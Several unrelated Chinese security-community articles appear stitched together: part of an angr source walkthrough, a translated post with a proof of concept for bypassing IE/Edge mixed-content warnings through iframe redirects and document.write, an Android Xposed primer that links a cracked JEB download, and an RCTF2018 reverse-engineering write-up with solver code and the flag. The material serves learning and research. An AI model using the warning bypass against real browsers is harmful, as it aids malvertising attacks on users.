Additionally, if instead of a symbol name you provide an address, some secret functionality will
kick in and you will probably just hook that address, UNLESS you're on powerpc64 ABIv1 or some
yet-unknown scary ABI that has its function pointers point to something other than the actual
functions, in which case it'll do the right thing.
:param symbol_name: The name of the dependency to resolve.
:param simproc: The SimProcedure instance (or function) with which to hook the symbol
:param kwargs: If you provide a SimProcedure for the hook, these are the keyword
arguments that will be passed to the procedure's `run` method
eventually.
:param replace: Control the behavior on finding that the address is already hooked. If
true, silently replace the hook. If false, warn and do not replace the
hook. If none (default), warn and replace the hook.
:returns: The address of the new symbol.
:rtype: int
"""
if type(symbol_name) is not int:
sym = self.loader.find_symbol(symbol_name)
if sym is None:
# it could be a previously unresolved weak symbol..?
new_sym = None
for reloc in self.loader.find_relevant_relocations(symbol_name):
if not reloc.symbol.is_weak:
raise Exception("Symbol is strong but we couldn't find its resolution? Report to @rhelmot.")
if new_sym is None:
new_sym = self.loader.extern_object.make_extern(symbol_name)
reloc.resolve(new_sym)
reloc.relocate([])
if new_sym is None:
l.error("Could not find symbol %s", symbol_name)
return None
sym = new_sym
basic_addr = sym.rebased_addr
else:
basic_addr = symbol_name
symbol_name = None
hook_addr, _ = self.simos.prepare_function_symbol(symbol_name, basic_addr=basic_addr)
self.hook(hook_addr, simproc, kwargs=kwargs, replace=replace)
return hook_addr
我们来看看参数部分：
* symbol_name：需要解析地函数名称
* simproc：需要hook的SimProcedure实例（或函数）
* kwargs：如果为Hook函数提供的是SimProcedure对象，则这些是关于SimProcedure的关键字参数，最终将传递给过程的run方法
* replace：主要是控制如果发现地址已经被hook后的操作
* true：无提示地直接更换hook
* false：发出警告信息并不替换该hook（为缺省值）
* none：发出警告并替换该hook
* returns：返回值将是解析完毕的函数的实际加载地址
* rtype：返回类型是int整型
之后还有就是一些常用的辅助功能函数
def is_symbol_hooked(self, symbol_name):
"""
Check if a symbol is already hooked.
:param str symbol_name: Name of the symbol.
:return: True if the symbol can be resolved and is hooked, False otherwise.
:rtype: bool
"""
sym = self.loader.find_symbol(symbol_name)
if sym is None:
l.warning("Could not find symbol %s", symbol_name)
return False
hook_addr, _ = self.simos.prepare_function_symbol(symbol_name, basic_addr=sym.rebased_addr)
return self.is_hooked(hook_addr)
def unhook_symbol(self, symbol_name):
"""
Remove the hook on a symbol.
This function will fail if the symbol is provided by the extern object, as that would result in a state where
analysis would be unable to cope with a call to this symbol.
"""
sym = self.loader.find_symbol(symbol_name)
if sym is None:
l.warning("Could not find symbol %s", symbol_name)
return False
if sym.owner is self.loader._extern_object:
l.warning("Refusing to unhook external symbol %s, replace it with another hook if you want to change it",
symbol_name)
return False
hook_addr, _ = self.simos.prepare_function_symbol(symbol_name, basic_addr=sym.rebased_addr)
self.unhook(hook_addr)
return True
def rehook_symbol(self, new_address, symbol_name, stubs_on_sync):
"""
Move the hook for a symbol to a specific address
:param new_address: the new address that will trigger the SimProc execution
:param symbol_name: the name of the symbol (f.i. strcmp )
:return: None
"""
new_sim_procedures = {}
for key_address, simproc_obj in self._sim_procedures.items():
# if we don't want stubs during the sync let's skip those, we will execute the real function.
if not stubs_on_sync and simproc_obj.is_stub:
continue
if simproc_obj.display_name == symbol_name:
new_sim_procedures[new_address] = simproc_obj
else:
new_sim_procedures[key_address] = simproc_obj
self._sim_procedures = new_sim_procedures
### 2.4 execute
为符号执行提供的 API，十分方便。它被设计为在 hook 后执行，并将执行结果返回给模拟管理器
主要是就为了Hook后符号执行还能征程运行，查看相关的状态，这个函数主要有三种不同的工作方式：
* 当不带参数执行时，该函数从程序入口点开始
* 当指定了参数 `state` 为一个 SimState 时，从该 state 开始
* 另外，它还可以接受所有传递给 `project.factory.full_init_state` 的任意关键字参数
def execute(self, *args, **kwargs):
"""
This function is a symbolic execution helper in the simple style
supported by triton and manticore. It designed to be run after
setting up hooks (see Project.hook), in which the symbolic state
can be checked.
This function can be run in three different ways:
- When run with no parameters, this function begins symbolic execution
from the entrypoint.
- It can also be run with a "state" parameter specifying a SimState to
begin symbolic execution from.
- Finally, it can accept any arbitrary keyword arguments, which are all
passed to project.factory.full_init_state.
If symbolic execution finishes, this function returns the resulting
simulation manager.
"""
if args:
state = args[0]
else:
state = self.factory.full_init_state(**kwargs)
pg = self.factory.simulation_manager(state)
self._executing = True
return pg.run(until=lambda lpg: not self._executing)
### 2.5 load_shellcode
主要是提供了可以根据一串原始字节码加载一个新的 Project功能
def load_shellcode(shellcode, arch, start_offset=0, load_address=0, thumb=False, **kwargs):
"""
Load a new project based on a snippet of assembly or bytecode.
:param shellcode: The data to load, as either a bytestring of instructions or a string of assembly text
:param arch: The name of the arch to use, or an archinfo class
:param start_offset: The offset into the data to start analysis (default 0)
:param load_address: The address to place the data in memory (default 0)
:param thumb: Whether this is ARM Thumb shellcode
"""
if not isinstance(arch, archinfo.Arch):
arch = archinfo.arch_from_id(arch)
if type(shellcode) is str:
shellcode = arch.asm(shellcode, load_address, thumb=thumb)
if thumb:
start_offset |= 1
return Project(
BytesIO(shellcode),
main_opts={
'backend': 'blob',
'arch': arch,
'entry_point': start_offset,
'base_addr': load_address,
},
**kwargs
)
我们来看看参数：
* shellcode：加载的数据
* arch：架构
* start_offset：分析的起始偏移量（默认0）
* load_address：数据加载的内存地址 (默认0)
* thumb：这个是否是ARM架构的Thumb模式下的代码，默认False
* kwargs：同之前的解释
### 2.6 预告
我们分析了一个angr项目的加载过程，我们不难看出其中基石的关键是CLE，我们接下来将前往CLE的实现源码一探究竟
## 三、番外：Factory简介
angr中最重要的Factory组件，factory有几个方便的构造函数，用于经常使用的常见对象
这里建议安装一个monkeyhex 库，这个库可以使得自动十六进制格式化数值结果，便于内存分析，在需要的时候导入即可
### 3.1 Block
Blocks：`project.factory.block()`用于通过给定的地址提取一个基本块（basic
block）的代码，angr以基本块为单位来分析代码
* `block = proj.factory.block(proj.entry)`：从程序的入口处提取一个代码块
* `block.pp()`：打印反汇编代码
* `block`：查看block对象
* `block.instructions`：块里有多少条指令
* `block.instruction_addrs`：块里所有指令对应的地址
* `block.capstone`：capstone 反汇编
* `block.vex`：VEX IRSB
下面这些指令在具体实践中的结果就是：
>>> block = proj.factory.block(proj.entry)
>>> block.pp()
0x401050: endbr64
0x401054: xor ebp, ebp
0x401056: mov r9, rdx
0x401059: pop rsi
0x40105a: mov rdx, rsp
0x40105d: and rsp, 0xfffffffffffffff0
0x401061: push rax
0x401062: push rsp
0x401063: mov r8, 0x4011d0
0x40106a: mov rcx, 0x401160
0x401071: mov rdi, 0x401136
0x401078: call qword ptr [rip + 0x2f72]
>>> block
<Block for 0x401050, 46 bytes>
>>> block.instructions
12
>>> block.instruction_addrs
[4198480, 4198484, 4198486, 4198489, 4198490, 4198493, 4198497, 4198498, 4198499, 4198506, 4198513, 4198520]
>>> block.capstone
<CapstoneBlock for 0x401050>
>>> block.vex
IRSB <0x2e bytes, 12 ins., <Arch AMD64 (LE)>> at 0x401050
> block的概念是： **只有一个入口和一个出口的一段代码，入口就是其中的第一个语句，出口就是其中的最后一个语句** ，block
> **之间的联通叫做edge**
### 3.2 States
States：：Project对象只代表程序的一个“初始化镜像”，即Project
对象仅表示程序一开始的样子。而当我们再使用angr做执行操作时，实际上操作的是一个表示模拟的程序状态（simulated program
state）的特殊对象SimState。SimState代表程序的一个实例镜像，模拟执行某个时刻的状态
* `state =proj.factory.entry_state()`：程序的入口点的状态
* `state`：查看state对象
* `state.regs.eip`：访问eip，获取当前指令的地址
* `state.regs.eax`：访问eax寄存器
指令在具体实践中的结果就是：
>>> state = proj.factory.entry_state()
>>> state
<SimState @ 0x401050>
>>> state.regs.rip
<BV64 0x401050>
>>> state.regs.rax
<BV64 0x1c>
在这之前我们在CTF的应用中说过angr中使用的数不是传统的Python整数，而是bitvector（位向量）。可以把bitvector看成是一串比特序列表示的整数，angr使用bitvector来表示CPU数据。每个bitvector都有一个.length属性来描述它的位宽。angr中也提供了相关的方法来进行Python整数和位向量的转换
现在我们就来试一下转换rip的值
>>> hex(state.solver.eval(state.regs.rip))
'0x401050'
我们也可以自己生成位向量
>>> bv = state.solver.BVV(2021, 32)
>>> bv
<BV32 0x7e5>
>>> bv.length
32
我们可以把bitvector存储到寄存器和内存中；或者直接存储一个python整数，它会进行自动转换，把python整数转换为合适大小的bitvector
>>> state.regs.rsi = state.solver.BVV(3, 32)
>>> state.regs.rsi
<BV64 0x3>
>>> state.mem[0x1000].long = 66
>>> state.mem[0x1000].long.resolved
<BV64 0x42>
>>> state.mem[0x1000].long.concrete
66
对于mem接口：
* 使用`array[index]`的形式来指定地址
* 使用`.<type>`来指定内存需要把数据解释成什么样的类型（char, short, int, long, size_t, uint8_t, uint16_t…）
* 存储一个值，这个值可以为bitvector或者python整数
* 使用`.resolved` 来将数据输出为bitvector
* 使用`.concrete` 来将数据输出为python整数
### 3.3 Simulation Managers
Simulation Manager（仿真管理器）在angr中是对state进行操作的基本接口
首先，我们创建一个simulation manager。构造函数可以接受一个state或者state列表。单个 Simulation Manager
可以包含多个存放state的 stash， 默认的stash 是 `active stash`，是使用我们传入的 `state`初始化的
* `simgr = proj.factory.simulation_manager(state)`：用构造函数进行创建
* `simgr`：查看simgr对象
* `simgr.active`：查看active，也就是目前模拟执行到的代码（基本块）内存地址
* `simgr.step()`： 一个基本块的符号执行
* `simgr.active[0].regs.eip`：查看从我们传入的初始state后第一次执行step后的active
指令在具体实践中的结果就是：
>>> state = proj.factory.entry_state()
>>> simgr = proj.factory.simulation_manager(state)
>>> simgr
<SimulationManager with 1 active>
>>> simgr.active
[<SimState @ 0x401050>]
>>> simgr.step()
<SimulationManager with 1 active>
>>> simgr.active
[<SimState @ 0x526fc0>]
>>> simgr.active[0].regs.rip
<BV64 0x526fc0>
>>> state.regs.rip
<BV64 0x401050>
## 四、参考资料
在此感谢各位作者或者译者的辛苦付出，特此感谢
* [angr源码分析——angr.Project类](https://blog.csdn.net/doudoudouzoule/article/details/79336706)
* [angr 系列教程(一）核心概念及模块解读](https://xz.aliyun.com/t/7117)
* [Angr文档-顶层接口](https://docs.angr.io/core-concepts/toplevel#basic-properties)
* [angr 源码分析](https://www.dazhuanlan.com/2020/01/17/5e210fb912a00/#project-%E7%B1%BB)
* [angr学习（一）](https://bbs.pediy.com/thread-264775.htm) | 社区文章 |
来源链接：https://www.brokenbrowser.com/loading-insecure-content-in-secure-pages/
原作者： **MagicMac**
译： **Holic (知道创宇404安全实验室)**
毋庸置疑，当今网络正在向
HTTPS（安全）内容发展。重要的域名现在他们已经将证书准备好了，他们的站点应该是有效且安全的。但是你是不是很好奇：到底能安全到何种程度？显然，通过
HTTPS 提供的内容是可以抵御中间人攻击（MITM），网络嗅探/篡改等方面的攻击的。但是你有没有想过， HTTPS
协议是否保护终端用户免受其他方面的威胁？答案显然是肯定的。
如我们所知，攻击者目前使用了广泛的渠道提供他们的恶意 payload ，恶意广告便是其中之一。他们购买廉价的广告空间展示显眼的广告，但是在这些 banner
的深处，我们可以发现混淆的恶意代码。其实，我们已经看到过坏人曾经是如何[检测用户是否属于潜在受害者](https://www.brokenbrowser.com/detecting-local-files-to-evade-analysts/)（注：参考 http://paper.seebug.org/87/
），或者检测出她是个分析人员的。如果键盘背后的人是一个不够精明的用户，攻击者会提供完整的恶意 payload ，否则他们只是简单地伪装成合法产品的广告。
### 混合内容警告
攻击者现在有个问题，因为他们的技巧只在不安全的页面有效，而浏览器默认情况下不会在安全的网站呈现不安全的内容。具体来说如果攻击者强行通过 HTTPS
加载他们的代码，他们的很多技巧（比如检测文件系统）将无法实施。考虑一点： IE/Edge (和其他浏览器) 拒绝从安全的域(HTTPS)加载不安全的内容
(HTTP) .
现代浏览器默认情况下不会渲染混合内容（来自安全站点的不安全数据）。如果我们浏览 HTTPS 网页，浏览器会拒绝加载不安全的内容（例如，里面有个 banner
的 HTTP iframe）。Internet Explorer 将向用户发出“显示所有内容”（重新加载主页并显示所有混合内容）的警告。
Edge 还会阻止内容，但除非用户使用 devtools-console 窗口查看，否则不会显示警告。此外，如果不安全的内容来自
iframe，则会显示混乱的错误信息。
### 允许加载图片
一个有趣的例外是，所有浏览器允许无限制加载并渲染不安全的图像。换句话说，如果攻击者已经在网络中进行嗅探，他们将能够在运行中浏览并替换图片，但这并不代表对最终用户的真正威胁。一年前
[Eric Lawrence (aka: Internet Hero)](https://twitter.com/ericlaw)
写了一篇[博文](https://blogs.msdn.microsoft.com/ie/2011/06/23/internet-explorer-9-security-part-4-protecting-consumers-from-malicious-mixed-content/)很清晰地解释了为什么 IE 的团队允许不提示警告的情况下加载不安全的图像。这是很有道理的：许多网站使用 HTTP
协议从外部加载它们的图像，或更糟的情况，它们在资源中硬编码了指向本地图像的 HTTP
协议，但内容本身（html/scripts）是安全的。所以，它们决定允许图像标签加载一个没有警告的渲染器，除了地址栏右边的小挂锁会消失。
这是地址栏在 IE 上加载不安全图片之前和之后的样子。注意主地址栏的安全协议根本不会改变。我用红圈标记了锁，这样更容易看到。
同样的事情发生在 Microsoft Edge
上，但锁的图标在左边。如果你想试验一下，可以[在此试一下](https://www.cracking.com.ar/demos/mixedcontent/insecureimage.html)。
有件有趣的事要记住，两个浏览器都认为伪协议（res: mhtml: file:）是不安全的，所以如果我们尝试使用这些协议加载内容，都会失败，就像普通
http 在 https 中那样。
These iframes won't render anything if the main page is secure/https
<iframe src="http://">
<iframe src="res://">
<iframe src="file://">
<iframe src="mhtml://">
<iframe src="mhtml:res://">
### 使用伪协议的行为
你可能在想，HTTPS 与这些奇怪的 mhtml: 和 res:
协议有什么关系？这些奇怪的协议被使用者用来加载硬盘中的文件，用于检测本地文件的存在，如果主页是安全的，他们将有一个大问题：IE
将拒绝解析这些协议。因此不要使用他们的技巧！考虑一下：安全的网页不仅帮助我们免受 MITM 攻击，而且作为副作用防止了攻击者的很多小把戏。
谨记：当攻击者想要检查用户在她的文件系统中是否有特定文件，他们往往使用熟知的技术来利用 mhtml/res/file 协议。
如果你从来没有见过相关技巧，请看这个技巧相关的[博文](https://www.brokenbrowser.com/detecting-local-files-to-evade-analysts/)，但这里需要注意的是：现代浏览器默认不允许“混合内容”，而且许多技巧将在 HTTPS 中失效。
### 强制加载内容
那么现在我们知道了攻击者的意图，是时候验证他们尝试的技巧了：绕过这些警告。
之前我们知道了在没有用户交互的情况下渲染内容的规则（image 标签）存在着例外情况，我尝试加载源是图像的 IFRAME （而不是
IMG），但并没有成功。然后整了点 EMBED 和 OBJECT 元素（二者皆可渲染 html）也没真正成功。最后，我决定使用常规 IFRAME
，但是通过使用服务器重定向而不是直接使用不安全的 URL 设置其 location 属性。这似乎有效，内容终于加载上了。
Main page should be secure/https
The iframe below renders an insecure (http) bing.com
<iframe src="https://www.cracking.com.ar/redir/redir.php?URL=http://www.bing.com">
作为一名研究人员上面这个发现看上去很有趣，但从攻击者的角度看却毫无用处。我们已经可以在不经过用户同意的情况下加载混合内容，但那个警告却会引起用户警觉。出现警告是因为加载了不安全的内容（bing.com确实是通过HTTP加载的），所以，攻击者绝对不会使用这种会引起用户警觉的手法。
**（本段翻译有疏漏，现已补充，多谢 @psrain 反馈指正）**
当不安全的 bing.com 试图渲染另一个不安全的 iframe 内部内容时，问题便发生了。换句话说，iframe
的子元素也需要是安全的或者是绕过的，相同的技巧也需要进行重定向。但是这并没什么用，因为攻击者需要 IE 伪协议（mhtml: res: 和
file:）来实现他们的技巧，而 IE 不接受服务器重定向至那些协议。那么我们需要有更好的选择。
### 绕过警告信息
为了找到绕过警告信息的方法，我偶然发现了解决方案。我很惊讶，这个技巧是那么基础的东西：在不安全的 iframe 中放一个 document.write
就够了。可能这么简单吗？一看便知：
Main page should be secure/https
The iframe below renders an insecure (http) page which does a document.write
<iframe src="https://www.cracking.com.ar/redir/redir.php?URL=http://unsafe.cracking.com.ar">
The HTML code in the iframe is quite simple:
<script>document.write()</script>
一旦加载了不安全的内容和 document.write ，iframe 就可以自由加载不安全的内容了，而且无需重定向。换句话说，这时攻击者可以加载
mhtml/res 协议，无限制施展他们的技巧：IE 不知道这些内容是正在被渲染的，每个嵌入的 iframe 将加载无误。
**[在线 PoC
地址](https://www.cracking.com.ar/demos/mixedcontent/redirectiframe.html)**
Edge 浏览器受该重定向技巧的漏洞影响，但 document.write
的方法并不奏效。也许另有途径，但我在此停顿下来，我知道攻击者仍然有简单的方法来达到他们的恶意目的。
* * * | 社区文章 |
>
> 很多人一开始接触移动安全不知道要做什么，该怎么做。下定决心之后，看到一大堆陌生的术语、工具、操作望而生畏。写移动安全的连载blog的初衷就是为了刚入门的伙伴们少走点我走过的弯路，时间才是最宝贵的。不才才疏学浅，有什么不当的地方请各位师傅提出。
[TOC]
## 一、术语介绍
### 1\. Xposed
**_Xposed Framework 为来自国外XDA论坛（forum.xda-developers.com）的rovo89自行开发的一个开源的安卓系统框架。_**
[GitHub地址](https://github.com/rovo89)
>
> 能够让Android设备在没有修改源码的情况下修改系统中的API运行结果可实现对java层任意HOOK，比如修改IMEI、IMSI、ICCID这些全球唯一的身份标志。HOOK三方应用：微信、QQ、实现抢红包、自动回复。
>
>
> Xposed框架的原理是修改系统文件，替换了/system/bin/app_process可执行文件，在启动Zygote时加载额外的jar文件（/data/data/de.robv.android.xposed.installer/bin/XposedBridge.jar），并执行一些初始化操作(执行XposedBridge的main方法)。然后我们就可以在这个Zygote上下文中进行某些hook操作。
>
> There is a process that is called "Zygote". This is the heart of the Android
> runtime. Every application is started as a copy ("fork") of it. This process
> is started by an `/init.rc` script when the phone is booted. The process
> start is done with `/system/bin/app_process`, which loads the needed classes
> and invokes the initialization methods.
>
> This is where Xposed comes into play. When you install the framework, an
> [extended app_process](https://github.com/rovo89/Xposed) executable is
> copied to `/system/bin`. This extended startup process adds an additional
> jar to the classpath and calls methods from there at certain places. For
> instance, just after the VM has been created, even before the `main` method
> of Zygote has been called. And inside that method, we are part of Zygote and
> can act in its context.
>
> The jar is located at
> `/data/data/de.robv.android.xposed.installer/bin/XposedBridge.jar` and its
> source code can be found [here](https://github.com/rovo89/XposedBridge).
> Looking at the class [XposedBridge]
> (<https://github.com/rovo89/XposedBridge/blob/master/src/de/robv/android/xposed/XposedBridge.java>),
> you can see the `main` method. This is what I wrote about above, this gets
> called in the very beginning of the process. Some initializations are done
> there and also the modules are loaded (I will come back to module loading
> later).
项目 | 说明
---|---
Xposed | Xposed框架的native部分（主要是改性app_process二进制文件）
XposedInstaller | Xposed框架的Android端本地管理，环境架构搭建，以及第三方module资源下载的工具。
XposedBridge | Xposed向开发者提供的API与相应的工具类库
### 2\. Zygote
**_Zygote本身是一个应用层的程序，和驱动、内核模块之类的没关系，可以认为是Android
framework大家族的祖先。_**[详见](http://blog.csdn.net/tfygg/article/details/52086621)
>
> 在Android中，zygote是整个系统创建新进程的核心进程。zygote进程在内部会先启动Dalvik虚拟机，继而加载一些必要的系统资源和系统类，最后进入一种监听状态。
>
>
> 在之后的运作中，当其他系统模块（比如AMS）希望创建新进程时，只需向zygote进程发出请求，zygote进程监听到该请求后，会相应地fork出新的进程，于是这个新进程在初生之时，就先天具有了自己的Dalvik虚拟机以及系统资源。
>
> zygote进程是由init进程启动起来，由init.rc
> 脚本中关于zygote的描述可知：zygote对应的可执行文件就是/system/bin/app_process，也就是说系统启动时会执行到这个可执行文件的main()函数里。
### 3\. Hook技术
> Hook 英文翻译过来就是「钩子」的意思，那我们在什么时候使用这个「钩子」呢？在 Android
> 操作系统中系统维护着自己的一套事件分发机制。应用程序，包括应用触发事件和后台逻辑处理，也是根据事件流程一步步地向下执行。而「钩子」的意思，就是在事件传送到终点前截获并监控事件的传输，像个钩子钩上事件一样，并且能够在钩上事件时，处理一些自己特定的事件。
>
>
>
> Hook 的这个本领，使它能够将自身的代码「融入」被勾住（Hook）的程序的进程中，成为目标进程的一个部分。API Hook 技术是一种用于改变 API
> 执行结果的技术，能够将系统的 API 函数执行重定向。在 Android
> 系统中使用了沙箱机制，普通用户程序的进程空间都是独立的，程序的运行互不干扰。这就使我们希望通过一个程序改变其他程序的某些行为的想法不能直接实现，但是
> Hook 的出现给我们开拓了解决此类问题的道路。当然，根据 Hook 对象与 Hook 后处理的事件方式不同，Hook 还分为不同的种类，比如消息
> Hook、API Hook 等。
>
> [详见](https://www.jianshu.com/p/4f6d20076922)
### 4\. 反射
>
> JAVA反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性；这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制（注意关键词：运行状态）换句话说，Java程序可以加载一个运行时才得知名称的class，获悉其完整构造（但不包括methods定义），并生成其对象实体、或对其fields设值、或唤起其methods。
>
> [详见](http://blog.csdn.net/qq_16628781/article/details/60868408)
## 二、环境准备
1. 一部安卓机
已经获得root权限,最好能刷安卓原生系统或者[LineageOS](https://download.lineageos.org/)，或者并开启开发者模式,usb调试选项打开.
2. 安装虚拟机(可选)
现在市场上主流的安卓模拟器，都很多广告，Android
Studio的AVD模拟器又太卡。模拟器最大缺点是无法调试so文件，因为现在市场上主流的模拟器都是基于Intel/AMD架构的x86/x64模拟器，而不是ARM的，指令集有所不同。我暂时还没找到一款能调试so文件的模拟器（AS自带的模拟器倒是有ARM架构的系统，但是打开那个系统，都要几十分钟吧，不要说调试了，所以物理机才是王道啊！），有找到的师傅欢迎留言。推荐逍遥（画质高，清晰度好，流畅），夜神（用户多），海马、BlueStacks、天天不是广告多就是功能不全，接下来以逍遥模拟器安装为例(看到有个师傅一直搞安卓虚拟机,
于是我也想掺和帮帮忙, 费了不少功夫...移动安全玩下来的，都是爱折腾的大佬啊!)
[官方链接](http://www.memuplay.com/index-tw.html)
[百度云链接](https://pan.baidu.com/s/1kWz7x23)(密码：md0g)
* 进入模拟器里的设置,连续多次点击"版本号",进入开发者模式,并打开"开发者选项":
* 找到模拟器安装目录,能看到adb.exe
* 打开powershell或cmd,到该目录下,运行`adb.exe`( _如果系统环境的adb进不了，就用这个方法。原因是: adb.exe版本不一样_. 或者可以用模拟器安装目录下的adb.exe替代环境变量目录下的adb.exe)
3. 安装Xposed（用语Hook，写插件）
[XposedInstaller.apk](https://pan.baidu.com/s/1nw2Rcq1)(密码：u65c)
4. 安装Android Studio（后续编写Xposed插件需用）
官方下载：<http://www.android-studio.org>
5. Xposed Framework(后面AS编写XP插件要用)
[XposedBridgeApi-20150213.jar](https://pan.baidu.com/s/1hunc2kG)(密码：9odw)
[官网下载](https://bintray.com/rovo89/de.robv.android.xposed/api)
[XposedMain.java](https://pan.baidu.com/s/1ggDmF3l)(密码：aqg3)
6. 安装IDA7.0（用于动态调试so文件或者apk）
[IDA_Pro_v7.0_and_Hex-Rays _Decompiler_
(ARMx64,ARM,x64,x86).zip](https://pan.baidu.com/s/1jJjuyn8)(密码：vuus)
7. 安装AndroidKiller(用于反编译APK)
[AndroidKiller_v1.3.1.zip](链接：https://pan.baidu.com/s/1smcu7Lz)(密码：dl2k)
8. 安装JEB2(用于反编译APK)
[jeb-2.2.7.201608151620_crack_qtfreet00.zip](https://down.52pojie.cn/Tools/Android_Tools/jeb-2.2.7.201608151620_crack_qtfreet00.zip)
9. 安装ApkIDE(用于反编译APK)
[ApkIDE_v3.3.rar](https://down.52pojie.cn/Tools/Android_Tools/ApkIDE_v3.3.rar)
10. 额外推荐一个很基情的"绿色"网站:
<http://www.androiddevtools.cn>
## 三、推荐
> #### 推荐链接
>
> <https://www.2cto.com/kf/201609/550043.html>
>
> <https://www.csdn.net/article/2015-08-14/2825462>
>
> <http://blog.csdn.net/niubitianping/article/details/52571438>
>
> #### 推荐书籍
>
> **_《移动应用安全》_**
>
> 链接：<https://pan.baidu.com/s/1o9DEzrG> (密码：55m4)
>
> **_《linux二进制分析》_**
>
> 暂无扫描版，想往深的学，买实体书吧
>
> **_《Android应用安全防护和逆向分析》_**
>
> 暂无扫描版，质量挺高的一本书，比较新颖，相信会成为经典之作
>
> **_Android开发书籍推荐：从入门到精通系列学习路线书籍介绍_**
>
> <https://www.diycode.cc/wiki/androidbook>
## 四、结语
写连载博客也是我的初次尝试，看看大家的热度再决定是否投入时间写下去，师傅们如果觉得写得不好，请提出来，我加以修缮。祝大家都能在自己的领域里有所 | 社区文章 |
# RCTF2018 magic详解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近做到了这道题，感觉这题挺复杂的，做了好长时间，网上的wp也不多，看的也一知半解，今天记录下自己的解题过程和感悟
!!!希望读者在复现时跟着我的步骤动调跟进，以免漏过一些重要的步骤
## 本题考点
* * *
1.使用时间戳作为随机种子生成随机数
2.暴力破解时间种子（调用程序原本的函数）
3.onexit函数对地址回调
4.rc4加解密
5.vm (头疼)
* * *
首先拖入ida
观察main函数
发现只有在一定时间内打开才可以
下断点调试，发现在main函数执行之前就输出了语句，所以main函数并不是真正的main，我们需要找到真正的main函数，首先反回上级函数，观察发现可疑函数
动态后发现确实是，跟进，发现这里调用了两个关键函数（下面有用）
首先观察调用的第一个函数
在这个函数中发现，如果dword_4099D0为0那么就会错误
dword_4099D0的修改在sub_402268函数中
## 时间戳生成随机数
这里使用时间戳生成随机数，然后对一个数组做异或，将异或后的数据经过一系列操作后生成一个数据，这个数据要等于1792，否则会将dword_4099D0置零，也就是失败
## 暴力破解时间种子（调用程序原本的函数）
先讲一下本人的方法（可以跳过），观察sub_4027ed函数，发现并不算太长，将逻辑复现为c语言代码，然后进行爆破，此方法工作量大且不适合大型函数
下面讲解大佬的方法
首先本题是windows程序，所以我们可以使用loadlibrary函数调用源程序里的函数来进行爆破，这种方法工作量小，且不容易出错
下面给出调用的代码,
！！！！注意，因为程序是64位，所以在编译时请选用x64模式
！！！！注意，因为程序是64位，所以在编译时请选用x64模式
！！！！注意，因为程序是64位，所以在编译时请选用x64模式
#include <iostream>
#include<stdio.h>
#include<windows.h>
using namespace std;
typedef unsigned int(*test)();
static UINT time = 0x5AFFE78F + 1;
UINT myfun(int) { //通过这种形式遍历每一个time
return time++;
}
char e1_copy[256] = { 0 };
int main()
{
UINT64* ptr1 = (UINT64*)0x40A38C;//time64
UINT64* ptr2 = (UINT64*)0x40A414; //srand
UINT64* ptr3 = (UINT64*)0x40A3FC;//rand
UINT64* ptr4 = (UINT64*)0x40A3DC;//memset
HMODULE h = LoadLibraryA("D:\\magic.exe");
memcpy(e1_copy, (void*)0x405020, 256); //备份E1表，重新运算的时候需要还原E1表
test test1 = (test)0x402268;
*ptr1 = (UINT64)myfun;
*ptr2 = (UINT64)srand;
*ptr3 = (UINT64)rand;
*ptr4 = (UINT64)memset;
UINT val;
while (true)
{
memcpy((void*)0x405020, e1_copy, 256); // 重置E1表
val = test1();
if (val != 0)
{
printf("time:%x\nkey:%x", time - 1, val); //0x322ce7a4
//time:5b00e398
//key: 322ce7a4
break;
}
}
return 0;
}
爆破后得到时间为0x5b00e398
## onexit函数对地址回调
还记得上面我们调用了两个函数吗？第一个函数是时间验证，第二个函数则是下面的关键
这里是这题的精髓，观察发现这里使用了onexit函数，在msdn上查看onexit函数的作用
这里注册了程序在退出时的回调地址，动态调试可以发现函数在执行时间验证后会继续执行完main函数，而在main函数执行完毕后会有一个exit
我们跟进后发现执行完exit后程序并没有结束，而是跳转到了sub_403260函数，也就是上面通过onexit函数注册的回调函数
这就是onexit函数的作用，在linux下也有同样作用的函数atexit
## rc4加解密
紧跟上面，继续执行程序，发现程序进入到了sub_4023B1函数
这里要求我们输入一个字符串，然后对输入进行rc4加密，再把输入传递给vm函数执行
## vm
接下来到了最令人头痛的vm时间了，老实说每次vm都会占用大量的解题时间，所以解决vm一定要养成将opcode转换为对应的指令和寄存器，这样可以省去大量的时间，通过动调加静态分析逆向出vm逻辑，使用z3解一下，然后在对其进行rc4的解密就可以了，注意vm里面注册了一个异常，除以0会抛出异常，异常接收函数会处理异常
from z3 import *
s = Solver()
user_in = [BitVec('a%d' % i,8) for i in range(0x1A)]
re = [0x89, 0xC1, 0xEC, 0x50, 0x97, 0x3A, 0x57, 0x59, 0xE4, 0xE6, 0xE4, 0x42, 0xCB, 0xD9, 0x08, 0x22, 0xAE, 0x9D, 0x7C, 0x07, 0x80, 0x8F, 0x1B, 0x45, 0x04, 0xE8, 0x00, 0x00, 0x00, 0x00]
tmp = 0x66
for i in range(0x1A):
s.add(((user_in[i] + 0xCC) & 0xff) ^ tmp == re[i])
tmp = (~tmp) & 0xff
flag=[]
if s.check() == sat:
m = s.model()
for i in range(26):
flag.append(m[user_in[i]])
print(flag)
f=[35, 140, 190, 253, 37, 215, 101, 244, 182, 179, 182, 15, 225, 116, 162, 239, 252, 56, 78, 210, 26, 74, 177, 16, 150, 165]
key=[0xA4,0xE7,0x2C,0x32]
s=[0]*256
k=[0]*256
for i in range(256):
s[i]=i
k[i]=key[i%len(key)]
v6=0
v5=0
for i in range(256):
v6=(s[i]+v6+k[i])%256
v5=s[i]
s[i]=s[v6]
s[v6]=v5
v7=0
v6=0
for i in range(len(flag)):
v7=(v7+1)%256
v6=(v6+s[v7])%256
v4=s[v7]
s[v7]=s[v6]
s[v6]=v4
f[i]^=s[(s[v6]+s[v7])%256]
print(''.join(chr(x) for x in f))
输出为[@ck_For_fun_02508iO2_2iOR](https://github.com/ck_For_fun_02508iO2_2iOR
"@ck_For_fun_02508iO2_2iOR")}
再加上”rctf{“就是Flag了
## 总结
这题主要是采用了虚假的main函数，要找到真正的main函数，然后再通过调用程序本身的函数爆破时间，再通过onexit函数注册退出返回地址，在把输入做rc4加密传给vm函数，vm函数里注册了一个异常。这就是这题的主要流程，感觉学到了挺多的，希望读者在阅读文章时尽量跟着动调摸清整个流程。 | 社区文章 |
作者：Qixun Zhao(aka @S0rryMybad && 大宝) of Qihoo 360 Vulcan Team
